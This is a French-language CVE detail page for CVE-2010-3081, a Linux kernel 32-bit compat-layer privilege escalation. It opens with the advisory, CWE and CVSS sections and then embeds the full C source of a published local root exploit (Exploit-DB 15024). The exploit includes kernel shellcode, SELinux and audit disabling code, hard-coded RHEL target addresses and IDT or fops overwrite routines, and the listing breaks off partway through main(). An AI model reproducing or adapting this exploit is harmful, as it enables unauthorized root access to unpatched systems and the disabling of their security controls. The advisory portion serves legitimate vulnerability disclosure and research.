CVE-2010-3081 : Détail

CVE-2010-3081

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2010-09-24
17h00 +00:00
2018-10-10
16h57 +00:00
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Descriptions du CVE

The compat_alloc_user_space functions in include/asm/compat.h files in the Linux kernel before 2.6.36-rc4-git2 on 64-bit platforms do not properly allocate the userspace memory required for the 32-bit compatibility layer, which allows local users to gain privileges by leveraging the ability of the compat_mc_getsockopt function (aka the MCAST_MSFILTER getsockopt support) to control a certain length value, related to a "stack pointer underflow" issue, as exploited in the wild in September 2010.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 7.8 HIGH CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 15024

Date de publication : 2010-09-15 22h00 +00:00
Auteur : Ac1dB1tCh3z
EDB Vérifié : Yes

/* Ac1dB1tch3z Vs Linux Kernel x86_64 0day Today is a sad day.. R.I.P. Tue, 29 Apr 2008 / Tue, 7 Sep 2010 a bit of history: MCAST_MSFILTER Compat mode bug found... upon commit! (2 year life on this one) author David L Stevens <dlstevens () us ibm com> Tue, 29 Apr 2008 10:23:22 +0000 (03:23 -0700) committer David S. Miller <davem () davemloft net> Tue, 29 Apr 2008 10:23:22 +0000 (03:23 -0700) This patch adds support for getsockopt for MCAST_MSFILTER for both IPv4 and IPv6. It depends on the previous setsockopt patch, and uses the same method. Signed-off-by: David L Stevens <dlstevens () us ibm com> Signed-off-by: YOSHIFUJI Hideaki <yoshfuji () linux-ipv6 org> Signed-off-by: David S. Miller <davem () davemloft net> ------------------------------------------------------------ Thank you for signing-off on this one guys. This exploit has been tested very thoroughly over the course of the past few years on many many targets. Thanks to redhat for being nice enough to backport it into early kernel versions (anything from later August 2008+) Ac1dB1tch3z would like to say F*** YOU Ben Hawkes. You are a new hero! You saved the plan8 man. Just a bit too l8. PS: OpenVZ Payload / GRsec bypass removed for kidiots and fame whores. (same thing right ;)) */ #include <poll.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <stdlib.h> #include <sys/wait.h> #include <sys/utsname.h> #include <sys/socket.h> #include <sched.h> #include <netinet/in.h> #include <stdio.h> #include <sys/stat.h> #include <fcntl.h> #include <sys/mman.h> #include <sys/ipc.h> #include <sys/msg.h> #include <errno.h> #ifndef __i386__ #error "r34d th3 c0d3 m0r0n!!# () #" #else #define _GNU_SOURCE #define __dgdhdytrg55 unsigned int #define __yyrhdgdtfs66ytgetrfd unsigned long long #define __dhdyetgdfstreg__ memcpy #define VERT "\033[32m" #define NORM "\033[0m" #define BANNER VERT"Ac1dB1tCh3z "NORM"VS Linux kernel 2.6 kernel 0d4y\n" #define KALLSYMS "/proc/kallsyms" #define TMAGIC_66TDFDRTS "/proc/timer_list" #define SELINUX_PATH "/selinux/enforce" #define RW_FOPS "timer_list_fops" #define PER_C_DHHDYDGTREM7765 "per_cpu__current_task" #define PREPARE_GGDTSGFSRFSD "prepare_creds" #define OVERRIDE_GGDTSGFSRFSD "override_creds" #define REVERT_DHDGTRRTEFDTD "revert_creds" #define Y0Y0SMAP 0x100000UL #define Y0Y0CMAP 0x200000UL #define Y0Y0STOP (Y0Y0SMAP+0xFFC) #define J0J0S 0x00200000UL #define J0J0R00T 0x002000F0UL #define PAGE_SIZE 0x1000 #define KERN_DHHDYTMLADSFPYT 0x1 #define KERN_DGGDYDTEGGETFDRLAK 0x2 #define KERN_HHSYPPLORQTWGFD 0x4 #define KERN_DIS_GGDYYTDFFACVFD_IDT 0x8 #define KERN_DIS_DGDGHHYTTFSR34353_FOPS 0x10 #define KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM 0x20 #define KERN_DIS_GGSTEYGDTREFRET_SEL1NUX 0x40 #define isRHHGDPPLADSF(ver) (strstr(ver, ".el4") || strstr(ver,".el5")) #define TRY_REMAP_DEFAULT 1 #define __gggdfstsgdt_dddex(f, a...) do { fprintf(stdout, f, ## a); } while(0) #define __pppp_tegddewyfg(s) do { fprintf(stdout, "%s", s); } while(0) #define __xxxfdgftr_hshsgdt(s) do { perror(s); exit(-1); } while(0) #define __yyy_tegdtfsrer(s) do { fprintf(stderr, s); exit(-1); } while(0) static char buffer[1024]; static int s; static int flags=0; volatile static socklen_t magiclen=0; static int useidt=0, usefops=0, uselsm=0; static __yyrhdgdtfs66ytgetrfd _m_fops=0,_m_cred[3] = {0,0,0}; static __dgdhdytrg55 _m_cpu_off=0; static char krelease[64]; static char kversion[128]; #define R0C_0FF 14 static char ttrg0ccc[]= "\x51\x57\x53\x56\x48\x31\xc9\x48\x89\xf8\x48\x31\xf6\xbe\x41\x41\x41\x41" "\x3b\x30\x75\x1f\x3b\x70\x04\x75\x1a\x3b\x70\x08\x75\x15\x3b\x70\x0c" "\x75\x10\x48\x31\xdb\x89\x18\x89\x58\x04\x89\x58\x08\x89\x58\x0c\xeb\x11" "\x48\xff\xc0\x48\xff\xc1\x48\x81\xf9\x4c\x04\x00\x00\x74\x02" "\xeb\xcc\x5e\x5b\x5f\x59\xc3"; #define R0YTTTTUHLFSTT_OFF1 5 #define R0YGGSFDARTDF_DHDYTEGRDFD_D 21 #define R0TDGFSRSLLSJ_SHSYSTGD 45 char r1ngrrrrrrr[]= "\x53\x52\x57\x48\xbb\x41\x41\x41\x41\x41\x41\x41\x41\xff\xd3" "\x50\x48\x89\xc7\x48\xbb\x42\x42\x42\x42\x42\x42\x42\x42" "\xff\xd3\x48\x31\xd2\x89\x50\x04\x89\x50\x14\x48\x89\xc7" "\x48\xbb\x43\x43\x43\x43\x43\x43\x43\x43" "\xff\xd3\x5f\x5f\x5a\x5b\xc3"; #define RJMPDDTGR_OFF 13 #define RJMPDDTGR_DHDYTGSCAVSF 7 #define RJMPDDTGR_GDTDGTSFRDFT 25 static char ttrfd0[]= "\x57\x50\x65\x48\x8b\x3c\x25\x00\x00\x00\x00" "\x48\xb8\x41\x41\x41\x41\x41\x41\x41\x41\xff\xd0" "\x58\x5f" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\xc3"; /* implement selinux bypass for IDT ! */ #define RJMPDDTGR_OFF_IDT 14 #define RJMPDDTGR_DYHHTSFDARE 8 #define RJMPDDTGR_DHDYSGTSFDRTAC_SE 27 static char ruujhdbgatrfe345[]= "\x0f\x01\xf8\x65\x48\x8b\x3c\x25\x00\x00\x00\x00" "\x48\xb8\x41\x41\x41\x41\x41\x41\x41\x41\xff\xd0" "\x0f\x01\xf8" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x48\xcf"; #define CJE_4554TFFDTRMAJHD_OFF 10 #define RJMPDDTGR_AYYYDGTREFCCV7761_OF 23 static char dis4blens4sel1nuxhayettgdr64545[]= "\x41\x52\x50" "\xb8\x00\x00\x00\x00" "\x49\xba\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x89\x02" "\x49\xba\x42\x42\x42\x42\x42\x42\x42\x42" "\x41\x89\x02" "\x58\x41\x5a"; /* rhel LSM stuffs */ #define RHEL_LSM_OFF 98 struct LSM_rhel { __yyrhdgdtfs66ytgetrfd selinux_ops; __yyrhdgdtfs66ytgetrfd capability_ops; __yyrhdgdtfs66ytgetrfd dummy_security_ops; __yyrhdgdtfs66ytgetrfd selinux_enforcing; __yyrhdgdtfs66ytgetrfd audit_enabled; const char *krelease; const char *kversion; }; struct LSM_rhel known_targets[4]= { { 0xffffffff8031e600ULL, 0xffffffff8031fec0ULL, 0xffffffff804acc00ULL, 0xffffffff804af960ULL, 0xffffffff8049b124ULL, "2.6.18-164.el5", "#1 SMP Thu Sep 3 03:28:30 EDT 2009" // to manage minor/bug fix changes }, { 0xffffffff8031f600ULL, 0xffffffff80320ec0ULL, 0xffffffff804afc00ULL, 0xffffffff804b2960ULL, 0xffffffff8049e124ULL, "2.6.18-164.11.1.el5", "#1 SMP Wed Jan 6 13:26:04 EST 2010" }, { 0xffffffff805296a0ULL, 0xffffffff8052af60ULL, 0xffffffff806db1e0ULL, 0xffffffff806ddf40ULL, 0xffffffff806d5324ULL, "2.6.18-164.11.1.el5xen", "#1 SMP Wed Jan 20 08:06:04 EST 2010" // default xen }, { 0xffffffff8031f600ULL,// d selinux_ops 0xffffffff80320ec0ULL,// d capability_ops 0xffffffff804afc00ULL,// B dummy_security_ops 0xffffffff804b2960ULL,// B selinux_enforcing 0xffffffff8049e124ULL,// B audit_enabled "2.6.18-164.11.1.el5", "#1 SMP Wed Jan 20 07:32:21 EST 2010" // tripwire target LoL } }; static struct LSM_rhel *curr_target=NULL, dyn4nt4n1labeggeyrthryt; struct socketcallAT { int s; int level; int optname; void *optval; volatile socklen_t *optlen; }__attribute__((packed)); struct idt64from32_s { unsigned short limit; unsigned long base; }__attribute__((packed)); static __yyrhdgdtfs66ytgetrfd getidt() { struct idt64from32_s idt; memset(&idt, 0x00, sizeof(struct idt64from32_s)); asm volatile("sidt %0" : "=m"(idt)); return idt.base | 0xFFFFFFFF00000000ULL; } static int isSelinuxEnabled() { FILE *selinux_f; selinux_f = fopen(SELINUX_PATH, "r"); if(selinux_f == NULL) { if(errno == EPERM) return 1; else return 0; } fclose(selinux_f); return 1; } static int wtfyourunhere_heee(char *out_release, char* out_version) { int ret; const char*ptr; int count=0; char r[32], *bptr; struct utsname buf; ret = uname(&buf); if(ret < 0) return -1; strcpy(out_release, buf.release); strcpy(out_version, buf.version); ptr = buf.release; bptr = r; memset(r, 0x00, sizeof(r)); while(*ptr) { if(count == 2) { if(*ptr >= '0' && *ptr <= '9') *bptr++ = *ptr; else break; } if(*ptr == '.') count++; ptr++; } if(strlen(r) < 1 || !atoi(r)) return -1; return atoi(r); } static void p4tch_sel1nux_codztegfaddczda(struct LSM_rhel *table) { *((__yyrhdgdtfs66ytgetrfd *)(dis4blens4sel1nuxhayettgdr64545 + CJE_4554TFFDTRMAJHD_OFF)) = table->selinux_enforcing; *((__yyrhdgdtfs66ytgetrfd *)(dis4blens4sel1nuxhayettgdr64545 + RJMPDDTGR_AYYYDGTREFCCV7761_OF)) = table->audit_enabled; __dhdyetgdfstreg__(ttrfd0 + RJMPDDTGR_GDTDGTSFRDFT, dis4blens4sel1nuxhayettgdr64545, sizeof(dis4blens4sel1nuxhayettgdr64545)-1); __dhdyetgdfstreg__(ruujhdbgatrfe345 + RJMPDDTGR_DHDYSGTSFDRTAC_SE, dis4blens4sel1nuxhayettgdr64545, sizeof(dis4blens4sel1nuxhayettgdr64545)-1); } static __yyrhdgdtfs66ytgetrfd get_sym_ex(const char* s, const char* filename, int ignore_flag) { FILE *ka; char line[512]; char reloc_a[64]; char reloc[64]; if(!(flags & KERN_HHSYPPLORQTWGFD) && !ignore_flag) return 0; ka = fopen(filename, "r"); if(!ka) return 0; while(fgets(line, 512, ka) != NULL) { char *l_p = line; char *ra_p = reloc_a; char *r_p = reloc; memset(reloc, 0x00, sizeof(reloc)); memset(reloc_a, 0x00, sizeof(reloc_a)); while(*l_p != ' ' && (ra_p - reloc_a) < 64) *ra_p++ = *l_p++; l_p += 3; while(*l_p != ' ' && *l_p != '\n' && *l_p != '\t' && (r_p - reloc) < 64) *r_p++ = *l_p++; if(!strcmp(reloc, s)) { __gggdfstsgdt_dddex("$$$ %s->%s\n", s, reloc_a); return strtoull(reloc_a, NULL, 16); } } return 0; } static inline __yyrhdgdtfs66ytgetrfd get_sym(const char* s) { return get_sym_ex(s, KALLSYMS, 0); } static int parse_cred(const char* val) { int i=0; const char* p = val; char local[64], *l; for(i=0; i<3; i++) { memset(local, 0x00, sizeof(local)); l = local; while(*p && *p != ',') *l++ = *p++; if(!(*p) && i != 2) return -1; _m_cred[i] = strtoull(local, NULL, 16); p++; } return 0; } #define SELINUX_OPS "selinux_ops" #define DUMMY_SECURITY_OPS "dummy_security_ops" #define CAPABILITY_OPS "capability_ops" #define SELINUX_ENFORCING "selinux_enforcing" #define AUDIT_ENABLED "audit_enabled" struct LSM_rhel *lsm_rhel_find_target(int check_rhel) { int i; char mapbuf[128]; struct LSM_rhel *lsm = &(known_targets[0]); if(check_rhel && !isRHHGDPPLADSF(krelease)) { __pppp_tegddewyfg("!!! N0t a RH3l k3rn3l \n"); return NULL; } __pppp_tegddewyfg("$$$ L00k1ng f0r kn0wn t4rg3tz.. \n"); for(i=0; i<sizeof(known_targets)/sizeof(struct LSM_rhel); i++, lsm++) { if(!strcmp(krelease, lsm->krelease) && !strcmp(kversion, lsm->kversion)) { __gggdfstsgdt_dddex("$$$ Th1z b1tch 1z t0azt. kn0wn t4rg3t: %s %s \n", lsm->krelease, lsm->kversion); return lsm; } } __pppp_tegddewyfg("$$$ c0mput3r 1z aqu1r1ng n3w t4rg3t...\n"); strcpy(mapbuf, "/boot/System.map-"); strcat(mapbuf, krelease); dyn4nt4n1labeggeyrthryt.selinux_ops = get_sym_ex(SELINUX_OPS, mapbuf, 1); dyn4nt4n1labeggeyrthryt.dummy_security_ops = get_sym_ex(DUMMY_SECURITY_OPS, mapbuf, 1); dyn4nt4n1labeggeyrthryt.capability_ops = get_sym_ex(CAPABILITY_OPS, mapbuf, 1); dyn4nt4n1labeggeyrthryt.selinux_enforcing = get_sym_ex(SELINUX_ENFORCING, mapbuf, 1); dyn4nt4n1labeggeyrthryt.audit_enabled = get_sym_ex(AUDIT_ENABLED, mapbuf, 1); if(!dyn4nt4n1labeggeyrthryt.selinux_ops || !dyn4nt4n1labeggeyrthryt.dummy_security_ops || !dyn4nt4n1labeggeyrthryt.capability_ops || !dyn4nt4n1labeggeyrthryt.selinux_enforcing || !dyn4nt4n1labeggeyrthryt.audit_enabled) return NULL; return &dyn4nt4n1labeggeyrthryt; } static void put_your_hands_up_hooker(int argc, char *argv[]) { int fd,ver,ret; char __b[16]; fd = open(KALLSYMS, O_RDONLY); ret = read(fd, __b, 16); // dummy read if((fd >= 0 && ret > 0)) { __pppp_tegddewyfg("$$$ Kallsyms +r\t\n"); // d0nt p4tch m3 br0 flags |= KERN_HHSYPPLORQTWGFD; } close(fd); ver = wtfyourunhere_heee(krelease, kversion); if(ver < 0) __yyy_tegdtfsrer("!!! Un4bl3 t0 g3t r3l3as3 wh4t th3 fuq!\n"); __gggdfstsgdt_dddex("$$$ K3rn3l r3l3as3: %s\n", krelease); if(argc != 1) { while( (ret = getopt(argc, argv, "siflc:k:o:")) > 0) { switch(ret) { case 'i': flags |= KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM|KERN_DIS_DGDGHHYTTFSR34353_FOPS; useidt=1; // u have to use -i to force IDT Vector break; case 'f': flags |= KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM|KERN_DIS_GGDYYTDFFACVFD_IDT; break; case 'l': flags |= KERN_DIS_GGDYYTDFFACVFD_IDT|KERN_DIS_DGDGHHYTTFSR34353_FOPS; break; case 'c': if(!optarg || parse_cred(optarg) < 0) __yyy_tegdtfsrer("!!! Un4bl3 t0 p4s3 cr3d c0d3z\n"); break; case 'k': if(optarg) _m_fops = strtoull(optarg, NULL, 16); else __yyy_tegdtfsrer("!!! Un4bl3 t0 p4rs3 f0P numb3rs\n"); break; case 's': if(!isSelinuxEnabled()) __pppp_tegddewyfg("??? wh4t th3 fuq s3l1nux 1z n0t 3v3n 3n4bl3d!?\n"); else flags |= KERN_DIS_GGSTEYGDTREFRET_SEL1NUX; break; case 'o': if(optarg) _m_cpu_off = strtoull(optarg, NULL, 16); else __yyy_tegdtfsrer("!!! Un4bl3 t0 p4rs3 f0p c0mput3r numb3rs\n"); break; } } } if(ver >= 29) // needs cred structure { flags |= KERN_DGGDYDTEGGETFDRLAK; if(!_m_cred[0] || !_m_cred[1] || !_m_cred[2]) { _m_cred[0] = get_sym(PREPARE_GGDTSGFSRFSD); _m_cred[1] = get_sym(OVERRIDE_GGDTSGFSRFSD); _m_cred[2] = get_sym(REVERT_DHDGTRRTEFDTD); } if(!_m_cred[0] || !_m_cred[1] || !_m_cred[2]) { __yyy_tegdtfsrer("!!! Err0r 1n s3tt1ng cr3d sh3llc0d3z\n"); } __pppp_tegddewyfg("$$$ Kernel Credentials detected\n"); *((__yyrhdgdtfs66ytgetrfd *)(r1ngrrrrrrr + R0YTTTTUHLFSTT_OFF1)) = _m_cred[0]; *((__yyrhdgdtfs66ytgetrfd *)(r1ngrrrrrrr + R0YGGSFDARTDF_DHDYTEGRDFD_D)) = _m_cred[1]; *((__yyrhdgdtfs66ytgetrfd *)(r1ngrrrrrrr + R0TDGFSRSLLSJ_SHSYSTGD)) = _m_cred[2]; } if(ver >= 30) // needs cpu offset { flags |= KERN_DHHDYTMLADSFPYT; if(!_m_cpu_off) _m_cpu_off = (__dgdhdytrg55)get_sym(PER_C_DHHDYDGTREM7765); if(!_m_cpu_off) __yyy_tegdtfsrer("!!! Err0r 1n s3tt1ng cr3d sh3llc0d3z\n"); __pppp_tegddewyfg("$$$ K3rn3l per_cpu r3l0cs 3n4bl3d!\t\n"); *((__dgdhdytrg55 *)(ttrfd0 + RJMPDDTGR_DHDYTGSCAVSF)) = _m_cpu_off; *((__dgdhdytrg55 *)(ruujhdbgatrfe345 + RJMPDDTGR_DYHHTSFDARE)) = _m_cpu_off; } } static void env_prepare(int argc, char* argv[]) { put_your_hands_up_hooker(argc, argv); if(!(flags & KERN_DIS_DGDGHHYTTFSR34353_FOPS)) // try fops { __pppp_tegddewyfg("??? Trying the F0PPPPPPPPPPPPPPPPpppppppppp_____ m3th34d\n"); if(!_m_fops) _m_fops = get_sym(RW_FOPS); /* TODO: do RW check for newer -mm kernels which has timer_list_struct RO * Thanks to the guy who killed this vector... you know who you are:) * Lucky for you, there are more:) */ if(_m_fops) { usefops=1; __pppp_tegddewyfg("$$$ w34p0n 0f ch01c3: F0PZzZzzz\n"); } } if(!usefops && !(flags & KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM)) // try lsm(rhel) { curr_target = lsm_rhel_find_target(1); if(!curr_target) { __pppp_tegddewyfg("!!! u4bl3 t0 f1nd t4rg3t!? W3'll s33 ab0ut th4t!\n"); } else uselsm=1; } if(useidt && (flags & KERN_DIS_GGSTEYGDTREFRET_SEL1NUX)) { // -i flag curr_target = lsm_rhel_find_target(0); if(!curr_target) { __pppp_tegddewyfg("!!! Un4lb3 t0 f1nd t4rg3t: c0ntinu3 w1th0ut s3linsux d1s4bl3.\n"); /* remove Selinux Flag */ flags &= ~KERN_DIS_GGSTEYGDTREFRET_SEL1NUX; } } if(!usefops && !useidt && !uselsm) __yyy_tegdtfsrer("!!! 3v3ryth3ng f41l3d!!*@&^@&*^ () * try an0th3r 0d4y L0l\n"); } static inline int get_socklen(__yyrhdgdtfs66ytgetrfd addr, __dgdhdytrg55 stack) { int socklen_l = 8 + stack - addr - 16; return socklen_l; } static struct socketcallAT at; static __dgdhdytrg55 idtover[4] = {0x00100000UL, 0x0020ee00UL, 0x00000000UL, 0x00000000UL}; static void fillsocketcallAT() { at.s = s; at.level = SOL_IP; at.optname = MCAST_MSFILTER; at.optval = buffer; at.optlen = &magiclen; } static void bitch_call(struct socketcallAT *at, void *stack) { asm volatile( "push %%ebx\t\n" "push %%esi\t\n" "push %%ecx\t\n" "push %%edx\t\n" "movl $0x66, %%eax\t\n" "movl $0xf, %%ebx\t\n" "movl %%esp, %%esi\t\n" "movl %0, %%ecx\t\n" "movl %1, %%esp\t\n" "int $0x80\t\n" "movl %%esi, %%esp\t\n" "pop %%edx\t\n" "pop %%ecx\t\n" "pop %%esi\t\n" "pop %%ebx\t\n" : : "r"(at), "r"(stack) : "memory", "eax", "ecx", "ebx", "esi" ); } static void __setmcbuffer(__dgdhdytrg55 value) { int i; __dgdhdytrg55 *p = (__dgdhdytrg55*)buffer; for(i=0; i<sizeof(buffer)/sizeof(void*); i++) *(p+i) = value; } static void idt_smash(__yyrhdgdtfs66ytgetrfd idtbase) { int i; __dgdhdytrg55 curr; for(i=0; i<sizeof(idtover)/sizeof(idtover[0]);i++) { curr = idtover[i]; __setmcbuffer(curr); magiclen = get_socklen(idtbase + (i*4), Y0Y0STOP); bitch_call(&at, (void*)Y0Y0STOP); } } static void y0y0stack() { void* map = mmap((void*)Y0Y0SMAP, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, -1,0); if(MAP_FAILED == map) __xxxfdgftr_hshsgdt("mmap"); } static void y0y0code() { void* map = mmap((void*)Y0Y0CMAP, PAGE_SIZE, #ifdef TRY_REMAP_DEFAULT PROT_READ|PROT_WRITE, #else PROT_READ|PROT_WRITE|PROT_EXEC, #endif MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, -1,0); if(MAP_FAILED == map) __xxxfdgftr_hshsgdt("mmap"); } static int rey0y0code(unsigned long old) { int fd; void *map; volatile char wizard; char cwd[1024]; getcwd(cwd, sizeof(cwd)); strcat(cwd, "/__tmpfile"); unlink(cwd); fd = open(cwd, O_RDWR|O_CREAT, S_IRWXU); if(fd < 0) return -1; write(fd, (const void*)old, PAGE_SIZE); if(munmap((void*)old, PAGE_SIZE) < 0) return -1; map = mmap((void*)old, PAGE_SIZE, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, fd,0); if(map == MAP_FAILED) return -1; /* avoid lazy page fault handler * Triple Fault when using idt vector * and no pages are already mapped:) */ wizard = *((char*)old); unlink(cwd); return wizard; } int main(int argc, char*argv[]) { int uid,fd; __yyrhdgdtfs66ytgetrfd *patch, idtb; struct pollfd pfd; printf(BANNER); uid = getuid(); env_prepare(argc, argv); y0y0stack(); y0y0code(); if(useidt) { idtb = getidt(); __gggdfstsgdt_dddex("$$$ h0m3 b4s3 addr3ss: %llx\n", idtb); __pppp_tegddewyfg("$$$ Bu1ld1ng r1ngzer0c00l sh3llc0d3 - IDT m3th34d\n"); patch = (__yyrhdgdtfs66ytgetrfd*)(ruujhdbgatrfe345 + RJMPDDTGR_OFF_IDT); *patch = (__yyrhdgdtfs66ytgetrfd)(J0J0R00T); __pppp_tegddewyfg("$$$ Prepare: m0rn1ng w0rk0ut b1tch3z\n"); if(flags & KERN_DIS_GGSTEYGDTREFRET_SEL1NUX) { __pppp_tegddewyfg("$$$ add1ng sp3c14l c0de t0 rem0v3 s3linux t3rr0r1zt thr34t\n"); p4tch_sel1nux_codztegfaddczda(curr_target); } __dhdyetgdfstreg__((void*)J0J0S, ruujhdbgatrfe345, sizeof(ruujhdbgatrfe345)); } else if(usefops || uselsm) { __pppp_tegddewyfg("$$$ Bu1ld1ng r1ngzer0c00l sh3llc0d3 - F0PZzzZzZZ/LSD(M) m3th34d\n"); patch = (__yyrhdgdtfs66ytgetrfd*)(ttrfd0 + RJMPDDTGR_OFF); *patch = (__yyrhdgdtfs66ytgetrfd)(J0J0R00T); __setmcbuffer(J0J0S); __pppp_tegddewyfg("$$$ Prepare: m0rn1ng w0rk0ut b1tch3z\n"); if(uselsm && (flags & KERN_DIS_GGSTEYGDTREFRET_SEL1NUX)) { __pppp_tegddewyfg("$$$ add1ng sp3c14l c0de t0 rem0v3 s3linux t3rr0r1zt thr34t\n"); p4tch_sel1nux_codztegfaddczda(curr_target); } __dhdyetgdfstreg__((void*)J0J0S, ttrfd0, sizeof(ttrfd0)); } /* set shellcode level 2 */ if(flags & KERN_DGGDYDTEGGETFDRLAK) { __pppp_tegddewyfg("$$$ Us1ng cr3d s3ash3llc0d3z\n"); __dhdyetgdfstreg__((void*)J0J0R00T, r1ngrrrrrrr, sizeof(r1ngrrrrrrr)); } else { __pppp_tegddewyfg("$$$ Us1ng st4nd4rd s3ash3llz\n"); __dhdyetgdfstreg__((void*)J0J0R00T, ttrg0ccc, sizeof(ttrg0ccc)); *((unsigned int*)(J0J0R00T + R0C_0FF)) = uid; } __pppp_tegddewyfg("$$$ 0p3n1ng th3 m4giq p0rt4l\n"); s = socket(AF_INET, SOCK_DGRAM, 0); if(s < 0) __xxxfdgftr_hshsgdt("socket"); fillsocketcallAT(); #ifdef TRY_REMAP_DEFAULT if(rey0y0code(Y0Y0CMAP) < 0) __yyy_tegdtfsrer("!!! Un4bl3 t0 r3m4p sh1t\t\n"); #endif if(useidt) { __yyrhdgdtfs66ytgetrfd idtentry = idtb + (2*sizeof(__yyrhdgdtfs66ytgetrfd)*0xdd); __gggdfstsgdt_dddex("$$$ Us1ng 1dt 3ntry: %d\n", 0xdd); idt_smash((idtentry)); sleep(1); asm volatile("int $0xdd\t\n"); } else if(usefops) { magiclen = get_socklen(_m_fops, Y0Y0STOP); magiclen -= 7*sizeof(__yyrhdgdtfs66ytgetrfd); __gggdfstsgdt_dddex("$$$ m4q1c p0rt4l l3n f0und: 0x%x\n", magiclen); __pppp_tegddewyfg("$$$ 0v3r thr0w f0ps g0v3rnm3nt\n"); bitch_call(&at, (void*)Y0Y0STOP); sleep(1); fd = open(TMAGIC_66TDFDRTS, O_RDONLY); if(fd < 0) __xxxfdgftr_hshsgdt("!!! fuq t1m3r_l1st"); pfd.fd = fd; pfd.events = POLLIN | POLLOUT; poll(&pfd, 1, 0); } else if(uselsm) { int msqid; __yyrhdgdtfs66ytgetrfd selinux_msg_off = curr_target->selinux_ops + (8*RHEL_LSM_OFF); __yyrhdgdtfs66ytgetrfd dummy_msg_off = curr_target->dummy_security_ops + 